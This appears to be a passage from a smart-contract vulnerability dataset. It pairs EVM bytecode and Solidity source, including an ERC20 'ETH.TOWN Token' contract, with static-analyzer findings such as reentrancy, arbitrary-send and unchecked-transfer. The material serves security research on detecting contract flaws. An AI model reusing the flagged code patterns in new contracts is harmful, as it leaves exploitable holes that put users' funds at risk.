131b573d6000803e3d6000fd5b50565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461137657600080fd5b600082116113ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b734e085036a1b732cbe4ffb1c12ddfdd87e7c3664d73ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561148f57600080fd5b505af11580156114a3573d6000803e3d6000fd5b505050506040513d60208110156114b957600080fd5b810190808051906020019092919050505061153c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b611545836122b7565b80600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061159e8260035461260a90919063ffffffff16565b6003819055506115f682600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461260a90919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061164d83600461259590919063ffffffff16565b6116ab5761166583600461262690919063ffffffff16565b5080600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b60076020528060005260406000206000915090505481565b60096020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461173857600080fd5b734e085036a1b732cbe4ffb1c12ddfdd87e7c3664d73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156117b057611788610a48565b81111561179457600080fd5b6117a98160025461260a90919063ffffffff16565b6002819055505b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561182157600080fd5b505af1158015611835573d6000803e3d6000fd5b505050506040513d602081101561184b57600080fd5b810190808051906020019092919050505050505050565b611f4081565b600a6020528060005260406000206000915090505481565b600080600090506000600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611937576119346002611926600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054426122a090919063ffffffff16565b61257c90919063ffffffff16565b90505b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060006119cd6127106119bf6203f4806119b1876119a36103e88961254d90919063ffffffff16565b61254d90919063ffffffff16565b61257c90919063ffffffff16565b61257c90919063ffffffff16565b9050809350505050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611aaf57611aac6002611a9e600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054426122a090919063ffffffff16565b61257c90919063ffffffff16565b90505b6000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000611b45612710611b376203f480611b2987611b1b6103e88961254d90919063ffffffff16565b61254d90919063ffffffff16565b61257c90919063ffffffff16565b61257c90919063ffffffff16565b90506000611b5e6001548361257c90919063ffffffff16565b90503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611ba6573d6000803e3d6000fd5b5042600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050565b6000611c0782600461259590919063ffffffff16565b611c145760009050611d5b565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611c655760009050611d5b565b6000611cb9600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054426122a090919063ffffffff16565b90506000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000611d52612710611d446301e13380611d3687611d28611f408961254d90919063ffffffff16565b61254d90919063ffffffff16565b61257c90919063ffffffff16565b61257c90919063ffffffff16565b90508093505050505b919050565b734e085036a1b732cbe4ffb1c12ddfdd87e7c3664d81565b60008111611dee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b734e085036a1b732cbe4ffb1c12ddfdd87e7c3664d73ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015611e9157600080fd5b505af1158015611ea5573d6000803e3d6000fd5b505050506040513d6020811015611ebb57600080fd5b8101908080519060200190929190505050611f3e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b611f47336122b7565b611f5033612656565b611fa281600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461260a90919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ffa8160035461260a90919063ffffffff16565b60038190555061201433600461259590919063ffffffff16565b6120725761202c33600461262690919063ffffffff16565b5042600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b600b6020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146120e557600080fd5b8060018190555050565b6120f8336122b7565b565b6301e1338081565b60066020528060005260406000206000915090505481565b6103e881565b60035481565b60015481565b565b60025481565b60fa81565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461219157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156121cb57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60086020528060005260406000206000915090505481565b6000828211156122ac57fe5b818303905092915050565b60006122c282611bf1565b9050600081111561250557734e085036a1b732cbe4ffb1c12ddfdd87e7c3664d73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561235257600080fd5b505af1158015612366573d6000803e3d6000fd5b505050506040513d602081101561237c57600080fd5b81019080805190602001909291905050506123ff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b61245181600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461260a90919063ffffffff16565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124a98160025461260a90919063ffffffff16565b6002819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000808284029050600084148061256c57508284828161256957fe5b04145b61257257fe5b8091505092915050565b60008082848161258857fe5b0490508091505092915050565b60006125bd836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61269d565b905092915050565b60006125ed836000018373ffffffffffffffffffffffffffffffffffffffff1660001b6126c0565b905092915050565b6000612603826000016127a8565b9050919050565b60008082840190508381101561261c57fe5b8091505092915050565b600061264e836000018373ffffffffffffffffffffffffffffffffffffffff1660001b6127b9565b905092915050565b42600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b600080836001016000848152602001908152602001600020541415905092915050565b6000808360010160008481526020019081526020016000205490506000811461279c576000600182039050600060018660000180549050039050600086600001828154811061270b57fe5b906000526020600020015490508087600001848154811061272857fe5b906000526020600020018190555060018301876001016000838152602001908152602001600020819055508660000180548061276057fe5b600190038181906000526020600020016000905590558660010160008781526020019081526020016000206000905560019450505050506127a2565b60009150505b92915050565b600081600001805490509050919050565b60006127c5838361269d565b61281e578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050612823565b600090505b9291505056fea264697066735822122049665d199133115f95d97bd12ba2a74e28799c9b729e1967d88c7c8fd8cbadb064736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,239 |
0x8fe19c447821b4cdcdd5012bca1b5469ca96d80d
|
pragma solidity ^0.4.21;
// SafeMath is a part of Zeppelin Solidity library
// licensed under MIT License
// https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/LICENSE
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// https://github.com/OpenZeppelin/zeppelin-solidity
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev Protection from short address attack
*/
modifier onlyPayloadSize(uint size) {
assert(msg.data.length == size + 4);
_;
}
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
_postTransferHook(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev Hook for custom actions to be executed after transfer has completed
* @param _from Transferred from
* @param _to Transferred to
* @param _value Value transferred
*/
function _postTransferHook(address _from, address _to, uint256 _value) internal;
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
_postTransferHook(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Owned {
address owner;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
/// @dev Contract constructor
function Owned() public {
owner = msg.sender;
}
}
contract AcceptsTokens {
ETToken public tokenContract;
function AcceptsTokens(address _tokenContract) public {
tokenContract = ETToken(_tokenContract);
}
modifier onlyTokenContract {
require(msg.sender == address(tokenContract));
_;
}
function acceptTokens(address _from, uint256 _value, uint256 param1, uint256 param2, uint256 param3) external;
}
contract ETToken is Owned, StandardToken {
using SafeMath for uint;
string public name = "ETH.TOWN Token";
string public symbol = "ETIT";
uint8 public decimals = 18;
address public beneficiary;
address public oracle;
address public heroContract;
modifier onlyOracle {
require(msg.sender == oracle);
_;
}
mapping (uint32 => address) public floorContracts;
mapping (address => bool) public canAcceptTokens;
mapping (address => bool) public isMinter;
modifier onlyMinters {
require(msg.sender == owner || isMinter[msg.sender]);
_;
}
event Dividend(uint256 value);
event Withdrawal(address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function ETToken() public {
oracle = owner;
beneficiary = owner;
totalSupply_ = 0;
}
function setOracle(address _oracle) external onlyOwner {
oracle = _oracle;
}
function setBeneficiary(address _beneficiary) external onlyOwner {
beneficiary = _beneficiary;
}
function setHeroContract(address _heroContract) external onlyOwner {
heroContract = _heroContract;
}
function _mintTokens(address _user, uint256 _amount) private {
require(_user != 0x0);
balances[_user] = balances[_user].add(_amount);
totalSupply_ = totalSupply_.add(_amount);
emit Transfer(address(this), _user, _amount);
}
function authorizeFloor(uint32 _index, address _floorContract) external onlyOwner {
floorContracts[_index] = _floorContract;
}
function _acceptDividends(uint256 _value) internal {
uint256 beneficiaryShare = _value / 5;
uint256 poolShare = _value.sub(beneficiaryShare);
beneficiary.transfer(beneficiaryShare);
emit Dividend(poolShare);
}
function acceptDividends(uint256 _value, uint32 _floorIndex) external {
require(floorContracts[_floorIndex] == msg.sender);
_acceptDividends(_value);
}
function rewardTokensFloor(address _user, uint256 _tokens, uint32 _floorIndex) external {
require(floorContracts[_floorIndex] == msg.sender);
_mintTokens(_user, _tokens);
}
function rewardTokens(address _user, uint256 _tokens) external onlyMinters {
_mintTokens(_user, _tokens);
}
function() payable public {
// Intentionally left empty, for use by floors
}
function payoutDividends(address _user, uint256 _value) external onlyOracle {
_user.transfer(_value);
emit Withdrawal(_user, _value);
}
function accountAuth(uint256 /*_challenge*/) external {
// Does nothing by design
}
function burn(uint256 _amount) external {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
totalSupply_ = totalSupply_.sub(_amount);
emit Burn(msg.sender, _amount);
}
function setCanAcceptTokens(address _address, bool _value) external onlyOwner {
canAcceptTokens[_address] = _value;
}
function setIsMinter(address _address, bool _value) external onlyOwner {
isMinter[_address] = _value;
}
function _invokeTokenRecipient(address _from, address _to, uint256 _value, uint256 _param1, uint256 _param2, uint256 _param3) internal {
if (!canAcceptTokens[_to]) {
return;
}
AcceptsTokens recipient = AcceptsTokens(_to);
recipient.acceptTokens(_from, _value, _param1, _param2, _param3);
}
/**
* @dev transfer token for a specified address and forward the parameters to token recipient if any
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
* @param _param1 Parameter 1 for the token recipient
* @param _param2 Parameter 2 for the token recipient
* @param _param3 Parameter 3 for the token recipient
*/
function transferWithParams(address _to, uint256 _value, uint256 _param1, uint256 _param2, uint256 _param3) onlyPayloadSize(5 * 32) external returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
_invokeTokenRecipient(msg.sender, _to, _value, _param1, _param2, _param3);
return true;
}
/**
* @dev Hook for custom actions to be executed after transfer has completed
* @param _from Transferred from
* @param _to Transferred to
* @param _value Value transferred
*/
function _postTransferHook(address _from, address _to, uint256 _value) internal {
_invokeTokenRecipient(_from, _to, _value, 0, 0, 0);
}
}
|
0x60606040526004361061017f5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610181578063095ea7b31461020b5780630daf999a1461024157806318160ddd14610270578063182575f1146102955780631c31f710146102bd57806323b872dd146102dc578063294205b4146103045780632e15563e14610328578063313ce567146103475780633719427e1461037057806338af3eed1461038f5780633e2e806d146103a2578063411cc791146103cd57806342966c68146103f85780634d7987171461040e578063661884631461042a57806366eb399f1461044c57806370a082311461047057806373eec3c51461048f5780637adbf973146104b15780637dc0d1d0146104d057806381a4af15146104e3578063824032971461050557806395d89b411461051b578063a9059cbb1461052e578063aa271e1a14610550578063d2ac0f591461056f578063d73dd6231461058e578063dd62ed3e146105b0575b005b341561018c57600080fd5b6101946105d5565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101d05780820151838201526020016101b8565b50505050905090810190601f1680156101fd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561021657600080fd5b61022d600160a060020a0360043516602435610673565b604051901515815260200160405180910390f35b341561024c57600080fd5b6102546106df565b604051600160a060020a03909116815260200160405180910390f35b341561027b57600080fd5b6102836106ee565b60405190815260200160405180910390f35b34156102a057600080fd5b61017f63ffffffff60043516600160a060020a03602435166106f4565b34156102c857600080fd5b61017f600160a060020a0360043516610752565b34156102e757600080fd5b61022d600160a060020a03600435811690602435166044356107a2565b341561030f57600080fd5b61017f600160a060020a0360043516602435151561091d565b341561033357600080fd5b61022d600160a060020a0360043516610963565b341561035257600080fd5b61035a610978565b60405160ff909116815260200160405180910390f35b341561037b57600080fd5b61017f60043563ffffffff60243516610981565b341561039a57600080fd5b6102546109bc565b34156103ad57600080fd5b61017f600160a060020a036004351660243563ffffffff604435166109d0565b34156103d857600080fd5b61022d600160a060020a0360043516602435604435606435608435610a0d565b341561040357600080fd5b61017f600435610b14565b341561041957600080fd5b61025463ffffffff60043516610bd2565b341561043557600080fd5b61022d600160a060020a0360043516602435610bed565b341561045757600080fd5b61017f600160a060020a03600435166024351515610ce7565b341561047b57600080fd5b610283600160a060020a0360043516610d2d565b341561049a57600080fd5b61017f600160a060020a0360043516602435610d48565b34156104bc57600080fd5b61017f600160a060020a0360043516610dd5565b34156104db57600080fd5b610254610e1f565b34156104ee57600080fd5b61017f600160a060020a0360043516602435610e2e565b341561051057600080fd5b61017f600435610e78565b341561052657600080fd5b610194610e7b565b341561053957600080fd5b61022d600160a060020a0360043516602435610ee6565b341561055b57600080fd5b61022d600160a060020a0360043516610fdd565b341561057a57600080fd5b61017f600160a060020a0360043516610ff2565b341561059957600080fd5b61022d600160a060020a036004351660243561103c565b34156105bb57600080fd5b610283600160a060020a03600435811690602435166110e0565b60048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561066b5780601f106106405761010080835404028352916020019161066b565b820191906000526020600020905b81548152906001019060200180831161064e57829003601f168201915b505050505081565b600160a060020a03338116600081815260036020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b600854600160a060020a031681565b60025490565b60005433600160a060020a0390811691161461070f57600080fd5b63ffffffff919091166000908152600960205260409020805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03909216919091179055565b60005433600160a060020a0390811691161461076d57600080fd5b60068054600160a060020a039092166101000274ffffffffffffffffffffffffffffffffffffffff0019909216919091179055565b6000600160a060020a03831615156107b957600080fd5b600160a060020a0384166000908152600160205260409020548211156107de57600080fd5b600160a060020a038085166000908152600360209081526040808320339094168352929052205482111561081157600080fd5b600160a060020a03841660009081526001602052604090205461083a908363ffffffff61110b16565b600160a060020a03808616600090815260016020526040808220939093559085168152205461086f908363ffffffff61111d16565b600160a060020a038085166000908152600160209081526040808320949094558783168252600381528382203390931682529190915220546108b7908363ffffffff61110b16565b600160a060020a038086166000818152600360209081526040808320338616845290915290819020939093559085169160008051602061132f8339815191529085905190815260200160405180910390a3610913848484611133565b5060019392505050565b60005433600160a060020a0390811691161461093857600080fd5b600160a060020a03919091166000908152600a60205260409020805460ff1916911515919091179055565b600a6020526000908152604090205460ff1681565b60065460ff1681565b63ffffffff811660009081526009602052604090205433600160a060020a039081169116146109af57600080fd5b6109b882611143565b5050565b6006546101009004600160a060020a031681565b63ffffffff811660009081526009602052604090205433600160a060020a039081169116146109fe57600080fd5b610a0883836111c6565b505050565b600060a03660a414610a1b57fe5b600160a060020a0387161515610a3057600080fd5b600160a060020a033316600090815260016020526040902054861115610a5557600080fd5b600160a060020a033316600090815260016020526040902054610a7e908763ffffffff61110b16565b600160a060020a033381166000908152600160205260408082209390935590891681522054610ab3908763ffffffff61111d16565b600160a060020a03808916600081815260016020526040908190209390935591339091169060008051602061132f8339815191529089905190815260200160405180910390a3610b07338888888888611266565b5060019695505050505050565b600160a060020a03331660009081526001602052604090205481901015610b3a57600080fd5b600160a060020a033316600090815260016020526040902054610b63908263ffffffff61110b16565b600160a060020a033316600090815260016020526040902055600254610b8f908263ffffffff61110b16565b600255600160a060020a0333167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58260405190815260200160405180910390a250565b600960205260009081526040902054600160a060020a031681565b600160a060020a03338116600090815260036020908152604080832093861683529290529081205480831115610c4a57600160a060020a033381166000908152600360209081526040808320938816835292905290812055610c81565b610c5a818463ffffffff61110b16565b600160a060020a033381166000908152600360209081526040808320938916835292905220555b600160a060020a0333811660008181526003602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b60005433600160a060020a03908116911614610d0257600080fd5b600160a060020a03919091166000908152600b60205260409020805460ff1916911515919091179055565b600160a060020a031660009081526001602052604090205490565b60075433600160a060020a03908116911614610d6357600080fd5b600160a060020a03821681156108fc0282604051600060405180830381858888f193505050501515610d9457600080fd5b81600160a060020a03167f7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b658260405190815260200160405180910390a25050565b60005433600160a060020a03908116911614610df057600080fd5b6007805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600754600160a060020a031681565b60005433600160a060020a0390811691161480610e635750600160a060020a0333166000908152600b602052604090205460ff165b1515610e6e57600080fd5b6109b882826111c6565b50565b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561066b5780601f106106405761010080835404028352916020019161066b565b6000604036604414610ef457fe5b600160a060020a0384161515610f0957600080fd5b600160a060020a033316600090815260016020526040902054831115610f2e57600080fd5b600160a060020a033316600090815260016020526040902054610f57908463ffffffff61110b16565b600160a060020a033381166000908152600160205260408082209390935590861681522054610f8c908463ffffffff61111d16565b600160a060020a03808616600081815260016020526040908190209390935591339091169060008051602061132f8339815191529086905190815260200160405180910390a3610913338585611133565b600b6020526000908152604090205460ff1681565b60005433600160a060020a0390811691161461100d57600080fd5b6008805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a033381166000908152600360209081526040808320938616835292905290812054611074908363ffffffff61111d16565b600160a060020a0333811660008181526003602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b60008282111561111757fe5b50900390565b60008282018381101561112c57fe5b9392505050565b610a088383836000806000611266565b600581046000611153838361110b565b6006549091506101009004600160a060020a03166108fc83150283604051600060405180830381858888f19350505050151561118e57600080fd5b7f69c382338c74e0d3a990efe1a52ae89dcf6a9ab705628ec4424f49cddd4e2f898160405190815260200160405180910390a1505050565b600160a060020a03821615156111db57600080fd5b600160a060020a038216600090815260016020526040902054611204908263ffffffff61111d16565b600160a060020a038316600090815260016020526040902055600254611230908263ffffffff61111d16565b600255600160a060020a0380831690301660008051602061132f8339815191528360405190815260200160405180910390a35050565b600160a060020a0385166000908152600a602052604081205460ff16151561128d57611325565b5084600160a060020a038116639c908f6188878787876040517c010000000000000000000000000000000000000000000000000000000063ffffffff8816028152600160a060020a039095166004860152602485019390935260448401919091526064830152608482015260a401600060405180830381600087803b151561131457600080fd5b5af1151561132157600080fd5b5050505b505050505050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582017eec06f396b0ca99a695c50ebca4876cca778c0bd1a22a29ae6199c2e734ecd0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,240 |
0xe11dc9f2ab122dc5978eaca41483da0d7d7e6128
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
/**
* @title Library for working with strings
* @author yearn.finance
*/
library String {
/**
* @notice Search for a needle in a haystack
* @param haystack The string to search
* @param needle The string to search for
*/
function startsWith(string memory haystack, string memory needle)
public
pure
returns (bool)
{
return indexOfStringInString(needle, haystack) == 0;
}
/**
* @notice Find the index of a string in another string
* @param needle The string to search for
* @param haystack The string to search
* @return Returns -1 if no match is found, otherwise returns the index of the match
*/
function indexOfStringInString(string memory needle, string memory haystack)
public
pure
returns (int256)
{
bytes memory _needle = bytes(needle);
bytes memory _haystack = bytes(haystack);
if (_haystack.length < _needle.length) {
return -1;
}
bool _match;
for (
uint256 haystackIdx;
haystackIdx < _haystack.length;
haystackIdx++
) {
for (uint256 needleIdx; needleIdx < _needle.length; needleIdx++) {
uint8 needleChar = uint8(_needle[needleIdx]);
if (haystackIdx + needleIdx >= _haystack.length) {
return -1;
}
uint8 haystackChar = uint8(_haystack[haystackIdx + needleIdx]);
if (needleChar == haystackChar) {
_match = true;
if (needleIdx == _needle.length - 1) {
return int256(haystackIdx);
}
} else {
_match = false;
break;
}
